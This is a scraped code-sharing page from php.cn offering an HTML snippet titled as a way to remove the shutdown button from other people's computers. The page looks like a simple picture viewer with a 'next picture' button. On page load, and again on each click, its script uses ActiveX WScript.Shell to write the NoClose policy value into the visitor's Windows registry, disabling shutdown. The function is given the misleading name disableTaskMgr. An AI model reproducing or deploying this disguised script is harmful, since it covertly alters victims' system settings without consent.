Home > php教程 > PHP源码 > body text

Delete the shutdown key of other people's computers

WBOY
Release: 2016-08-04 08:53:36
Original
1152 people have browsed it
跳至 [1] [全屏预览]
<!--
E-mail:shyhero@outlook.com
Author: dujianing 
删除关机按钮       
-->
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8"/>
		<title></title>
		<script type="text/javascript" language="javascript"> 
			function disableTaskMgr(flg){        
			var shell = new ActiveXObject("WScript.Shell");       
			try{
				shell.RegWrite("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoClose",
				1,"REG_DWORD")    
			}catch(e){
				throw e;  
			}  
		}  
		</script>
	</head>
	<body onLoad="disableTaskMgr(true)">  
		<img src="imgs/2.jpg"/>
		<button onclick="disableTaskMgr(true)">下一张
		</button> 
	</body>
</html>
Copy after login
Related labels:
source:php.cn
Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
Popular Recommendations
Popular Tutorials
More>
Latest Downloads
More>
Web Effects
Website Source Code
Website Materials
Front End Template